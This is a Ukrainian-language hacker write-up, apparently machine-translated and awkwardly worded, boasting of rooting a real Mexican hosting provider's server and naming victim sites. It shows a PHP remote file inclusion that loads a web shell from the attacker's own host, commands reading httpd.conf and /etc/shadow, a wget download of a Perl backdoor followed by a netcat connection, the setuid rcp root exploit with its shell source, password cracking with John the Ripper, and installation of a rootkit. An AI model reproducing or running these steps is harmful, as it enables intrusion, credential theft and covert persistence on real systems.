Root на хостинг-провайдера


Intro.
Я вирішив описати саме цей злом, тому що він стався зовсім недавно (причому, на цей момент - 23.01.03 - сервер все ще перебуває, так би мовити, в руках DHG) також загальний мене давним-давно просили описати який-небудь цікавий злом.
Я ніяк не хочу, щоб ця розповідь був посібником для чужих злодіянь, тому ми навмисно допускаю деякі помилки \ неточності (які, втім, всякий просунутий користувач помітить). Ну також розжовувати елементарні речі, типу "лінуксових команд також в якому місці шукати, як Компільо сплойти", ми ніяк не буду. Отже, поїхали.

Round # 1: remote.
Взагалі, спочатку метою був Мексиканський Linux-портал www. ***. Com, який як раз хостився у цього провайдера.
Насамперед, потрібно було дізнатися вісь, на якій стоїть цей портал. Хоча, ясний пень, що сайт про Linux'e ніяк не може висіти на винда. На http був: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili! Soft-ASP / 3.6.2 PHP / 4.1.2", ftp-банер був такий:
managedhosting FTP server (Version 6.5 / OpenBSD, linux port 0.3.2) ready.
Сканувати порти, cgi-bug'і також будь-яку подібну нісенітницю, ми ніяк не став - точніше, вирішив відкласти на потім. Ну також іпомею ессно висвітлювати ніяк не хотілося. Так ось, в ftp-банері промайнуло вираз "hosting"! Забивши на ripnet, ми вирішив звернутися безпосередньо до ip'у, який мав www. ***. Com. Він вивів мене на сайт "managedhosting.dialtoneinternet.com.mx", який, очевидно, був його хостером. Пізніше нетривалого ручного bruteforce'a був обчислений реальний сайт хостингу: dialtoneinternet.com.mx (www.dialtone.com).
На цьому ми вирішив поки що зупинитися також повернутися до ламають сайту. Він стояв на PHP-движку "phpWebSite" невідомої версії. Цей черговий клон php-nuke'a ніяк не відрізнявся особливим упором на безпеку. Всі версії PWS аж до 0.8.2 (навіть з позначкою Stable) мали уразливість класу 'Php source injection'. Ті, кому ніщо це ніяк не говорить, дивіться статтю r4ShRaY'я про цю уразливість. Решта ж, читайте далі. Отже, ось шматочок Сорса файлу modsecurity.php:

<? Php
global $ inc_prefix;
if (! $ inc_prefix) {
...
}
...
include_once ($ inc_prefix. "htmlheader.php");
?>

Имхо, тут все всім повинно існувати ясно. Запустивши цей скрипт схожим чином:
http: //www.***.com/modsecurity.php? inc_prefix = http: //www.dhgroup.org
Файл htmlheader.php, що лежить на нашому сайті, виконається з пока_неопределённимі_правамі. Єдине, що мене торсати, так це те, Що на атакується сайті варто пропатчені, або більш новий різновид (все-таки, це ніяк не якась 'Vasya's home page', але портал для kewl-Linux-userz).
Загалом, ми створив файл htmlheader.php на нашому сайті ось такого змісту:

<? passthru ( "$ cmd")?>

Далі пішов за адресою:
modsecurity.php? inc_prefix = http: //www.dhgroup.org&cmd=ls
На що ми отримав лістинг каталогу www. #Прим. далі все команди буду строчити без "...? inc_prefix = http: // ..."!

Round # 2: local.
> Echo hi> kewl.txt; cat kewl.txt
На дані дві команди браузер відповів порожнім сніжно-білим екраном. Це говорило про те, що прав на запис в каталог www у мене немає. Тобто, висловлювати про дефейси поки що раненько. Що ж, перед тим як робити будь-які подальші дії, потрібно було зібрати побільше відомостей про систему. Головним заняттям ми поліз за файлом httpd.conf:
> Cat /etc/httpd/conf/httpd.conf
Звідти ми видер версію фроніка (до речі кажучи, http-заголовок 'Server' замовчував про наявність FrontPage'a) також маршрут до www-тек сайтів: dialtoneinternet.com.mx (ламати хостинг-провайдер), stormarketing.com, altavistablinds.com, parigitown.com, ну також ще до кільком великим ресурсів:
# -FrontPage- Version = 4.0
##
## Httpd.conf - Apache HTTP server configuration file
##
...
<VirtualHost 66.33.62.88>
<Directory / home / admin / www / serversecure>
Options All
AllowOverride All
</ Directory>
ServerName dialtoneinternet.com.mx
ServerAlias ​​www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
ErrorLog logs / error_log
TransferLog logs / transfer_log
Group nobody
ScriptAlias ​​/ cgi-bin / / home / admin / www / cgi-bin /
</ VirtualHost>
...
Звичайно, щоб їх дефейси, прав ніяк недостатньо, АЛЕ їх цілком вистачить, щоб переглянути фроніковие service.pwd (якщо такі є) цих сайтів, з усіма наслідками, що випливають звідси наслідками;) Дану можливість ми залишив на той пригода, якщо мені все-таки ніяк не вдасться підняти свої привілеї.
Далі, для інтересу ми ввів:
> Netstat -a
На що отримав (# - мої мітки):
  Active Internet connections (servers and established)
 Proto Recv-Q Send-Q Local Address Foreign Address State 
 tcp 0 1 66.33.62. *: 2114 by.ru:www LAST_ACK # (1)
 tcp 0 0 66.33.62. *: www 62.141.75.226:3116 ESTABLISHED 
 tcp 0 0 *: www *: * LISTEN 
 tcp 0 0 *: imap2 *: * LISTEN 
 tcp 0 0 *: pop3 *: * LISTEN 
 tcp 0 0 *: ftp *: * LISTEN 
 tcp 0 0 *: 81 *: * LISTEN 
 tcp 0 0 *: https *: * LISTEN # (2)
 tcp 0 0 managedhosting.d: domain *: * LISTEN 
 tcp 0 0 managedhosting2.:domain *: * LISTEN 
 tcp 0 0 spacebattles.net:domain *: * LISTEN 
 tcp 0 0 66.33.62. *: domain *: * LISTEN 
 tcp 0 0 localhost.locald: domain *: * LISTEN 
 tcp 0 0 *: smtp *: * LISTEN 
 tcp 0 0 *: mysql *: * LISTEN 
 tcp 0 0 *: casp3001 *: * LISTEN 
 tcp 0 0 *: casp3000 *: * LISTEN 
 tcp 0 0 *: casp5105 *: * LISTEN 
 tcp 0 0 *: casp5103 *: * LISTEN 
 tcp 0 0 *: casp5104 *: * LISTEN 
 tcp 0 0 *: 1581 *: * LISTEN 
 tcp 0 0 * 1024 *: * LISTEN 
 tcp 0 0 *: ssh *: * LISTEN # (3)
 udp 0 0 *: 4320 *: * 
 udp 0 0 managedhosting.d: domain *: * 
 udp 0 0 managedhosting2.:domain *: * 
 udp 0 0 spacebattles.net:domain *: * 
 udp 0 0 66.33.62. *: domain *: * 
 udp 0 0 localhost.locald: domain *: * 
 raw 0 0 *: udp *: * 7 
 raw 0 0 *: tcp *: * 7 
 raw 0 0 *: icmp *: * 7 
 raw 0 0 *: tcp *: * 7 
 Active UNIX domain sockets (servers and established)
 Proto RefCnt Flags Type State I-Node Path
 unix 0 [ACC] STREAM LISTENING 552166 /home/httpsd/cache/ssl.socket
 unix 0 [ACC] STREAM LISTENING 2087 /tmp/mysql.sock
 unix 4 [] DGRAM 290 / dev / log
 unix 0 [ACC] STREAM LISTENING 549144 / var / run / ndc
 unix 0 [] STREAM 565939 
 unix 0 [] DGRAM 555692 
 unix 0 [] DGRAM 549142 
 unix 0 [] DGRAM 3193 
 unix 0 [] DGRAM 303 
(1) - це ми =)
(2) - наявність ssl зазвичай висловлює про обмін приватній инфой з сервером (cc, наприклад). Хоча, для хостингу це в розпорядку речей.
(3) - ось він шелл! Він нам згодом стане в нагоді.
Ось також порти сканувати ніяк не треба було :)
Далі потрібно було приступати до якихось конкретних дій, а точніше, дізнатися хоч би майже версію шапки плюс, виходячи з цього, вже танцювати далі. Так ось, для тих хто ніяк не знає, деякі (якщо ніяк не всі) Linux-дистрибутиви залишають файл "* -release" (де * - назва дистриб: mandrake-release, cobalt-release ...) в каталозі / etc / також адміни ніяк не мають звички його усувати.
> Cat / etc / redhat-release:
Red Hat Linux release 6.1 (Cartman)
Обааааа, потрібно сказати, такого ми ніяк не очікував :) Все інше бла бла було справою техніки .. Для досягнення довгоочікуваного рута ми вирішив юзати RedHat'овскую уразливість в rcp.

Red Hat 6.2: rcp possible root hole
Насправді, вразливість була знайдена в шапці 6.2 .. Про 6.1 в пості від Andrew Griffiths і Tlabs ніяк не говорилося ні слова. Сподіваючись на удачу, ми ввів:
> Ls -alF `which rcp`
-rwsr-xr-x 1 root root 14868 Jul 30: 1999 / usr / bin / rcp *
Оп! Суідний rcp володіє приміщення бути! Це вже добре :) Я залив собі "rcpsploit.pl" від tlabs плюс, вивчивши Сорс, зупинився. Я, мабуть, поясню, як працює цей сплойт - можливо, це допоможе Вам усвідомити сутність уразливості також виниклої проблеми.
Отже, він створює 2 файли:
/tmp/shell.c---------------------

#include
#include
int main ()
{
setuid (0);
setgid (0);
execl ( "/ bin / sh", "sh", 0);
return 0;
}


hey ------------------------------
Sploit written by tlabs, thanks to Andrew Griffiths for the bug report

Потім, через суідний rcp, сплойт Компільо shell.c також chmod'ом діє його таким бла бла суідний. Ось також все! Запускаємо скомпільований shell також набуваємо шелл з uid = 0, gid = 0. Але який сенс нам від цього шелла, якщо ми виконуємо команди через веб-сервер? : - /
Змусити цей сплойт трудитися дозволено було тільки на "нормальному" короби.
Що ж, потрібен шелл? Він буде! У моєму warez-архіві вже давним-давно припадав пилом маленький перловий троян, яким ми також вирішив скористатися:
> Wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> Chmod 755 /.tmp/tmp.pl
> Perl /tmp/.tmp.pl
Далі на своєму компі:
> Nc ***. Com 51015
Пріконнектівшісь:
> Cd / tmp
> Wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> Chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, too easy, we'll just launch a shell, lets hope shit went well innit :)
> id
uid = 0 (root) gid = 0 (root) groups = 0 (root), 1 (bin), 2 (daemon), 3 (sys), 4 (adm), 6 (disk), 10 (wheel)
Ось також все :) Ну також останнє:
> Cat / etc / shadow
root: ###: 11961: 0: 99999: 7: -1: -1: 134549964
bin: *: 10925: 0: 99999: 7 :::
daemon: *: 10925: 0: 99999: 7 :::
adm: ###: 11577: 0: 99999: 7: -1: -1: 134549852
... Etc ...
JTR нарахував 977 паролів%) Щоб прискорити перебір, ми ввів:
john -i: all -u: root shadow
Десь 8 годин і ... довгоочікуваний момент:




Потім я залив туди lrk, кілька datapipe'ов також bnc ... хоч це вже зовсім інша історія ....

Що використовувалося при зломі:
Netscape v.xz
secureCRT 3.1
NetCat
John The Ripper
backhole.pl
rcpsploit.pl
мізки
PacketStormSecurity

Висновки \ зауваження \ коментарі:
1. Якщо той чи інший сервер важливо іменує себе Хостинг-провайдером або Linux-порталом - це ніяк не означає, що він добре захищений.
2. У процесі злому не варто особливо оголошувати своїм іпомею (про це в подальшому ще стане стаття).
3. При зломі майже що ніяк не використовувався так званий, "хакерський" софт.
4. RH6. * - Неможливо їсти гуд :)

PS имхо, у читача може скластися таке враження, що мені просто пощастило також загальний злом займав пару хвилин .. Це ніяк не так. Були моменти, в який час просто опускалися руки, в який час хотілося боротися головою об стінку.

Автор: D4rkGr3y


Матеріал публікується з дозволу DHGROUP (http://www.dhgroup.org)